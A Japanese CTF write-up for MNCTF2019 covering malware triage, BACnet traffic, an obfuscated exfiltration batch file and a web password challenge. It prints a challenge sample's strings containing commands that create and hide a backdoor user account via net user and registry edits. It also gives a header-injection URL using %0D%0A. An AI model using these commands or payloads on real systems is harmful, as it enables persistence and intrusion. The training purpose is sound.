MNCTF2019 writeup
MNCTF2019 writeup
2020/2/3 開始
本当は時間制限を設けてやるものらしいのだが、全ての問題を解きたかったので(後から知ったので)時間は測らずにまったりやってます。
悪意部品
あ
標的攻撃I
vmdk形式のディスクイメージが渡される。
a.EXE
という名前の実行ファイルがある。
hashをとってやる
標的攻撃Ⅱ
仮想マシン上でmalwareを実行してユーザーなどを確認するが、特に追加されてるように見えない。
マルウェアを解析する。
- strings
!This program cannot be run in DOS mode. .text .data @.import h1 @ h6 @ h1 @ h1 @ /c net user /add SUPPORT_388945a1 @Abc123456 open /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f && reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v SUPPORT_388945a1 /d 0 /t REG_DWORD /f && reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v forceguest /t REG_DWORD /d 0 /f && net accounts /MaxPWAge:unlimited /c del a.exe This sample is a part of MNCTF 2019, cyber challenge. Not a malware. @Sh1n0g1 kernel32.dll shell32.dll ExitProcess Sleep ShellExecuteA
この部分
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v SUPPORT_388945a1
レジストリを操作しており、ユーザーのリストにSUPPORT_388945a1
を追加している。
管理者権限出なかったから失敗したっぽい。
管理者権限で実行してみる。
追加されていることがわかった。
標的攻撃Ⅲ
Ⅱで入手した名前でOSINTする。
ここに書いてある
標的攻撃Ⅳ
作成したユーザをログイン画面で非表示にするためのレジストリキー名を答えよ。
そんなのあるの
検索すると以下のサイトが分かりやすかった。
strings
で見つかった文字列のなかにこれに似たものがある。
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
建屋制御Ⅰ
pcapファイルを見て空調コントローラーのlocationを特定しろと言う問題。
通信のプロトコルにはBACnet
という物を使用しているらしい
locationの値が出てくるような通信はレスポンスだろうと考え、気合で探す。
建屋制御Ⅰ
あ
情報漏洩I
難読化したbatファイルが渡される。
全く読めないので全ての行にecho
をつけて実行する。
見てみると、temp.txt
というファイルを出力している
ここに書かれている設定をftp
に渡して実行している
問題は、ツールの名前を答えろとのことなので、1行目に出力されていたツール名が答え
情報漏洩Ⅱ
盗まれた文書の文書内の「タイトル」を答えよ。
batファイルには*.xls
とあるが、ファイル名らしいものはどこにも書いてなさそう。(temp.txtは一時ファイルなので違う)
157.7.53.197
というアドレスがあるのでftpで接続する。
多分ここにあるけど、学内からはftpで接続できないので帰ってからやる
暗証保護
webサイトからパスワードを読み取る問題
リンク先を見る
password.php
の方を開くと以下の画面。
ここを何とかしてリモートからパスワードを見るっぽい。
ソースコードを見てみるとbody
のstyle
にいろいろ入れている。
もう一方のファイルを見てみる。
headerとbodyの内容を表示してくれるのかな?
試しに自分自身のURLを入れてみる
headerの内容と少しだけbodyの要素が帰ってくる。
password.php
のURLを入れても全てのパスワードが帰ってこないので、どうするのか考える。
HTTPのレスポンスの長さが少ないのでこれを長くする方法を考える。
いろいろやってるとHTTPヘッダインジェクション
ができることがわかった。
%0D%0A
を挟むことで任意のhttp headerを追加する
contents-lengthを指定してやる
http://mnctf.info/mnctf2019/task/admin/webchecker.php?host=localhost&path=%2Fmnctf2019%2Ftask%2Fadmin%2Fpassword.php%0D%0AContent-Length:%205000
感想
面白かった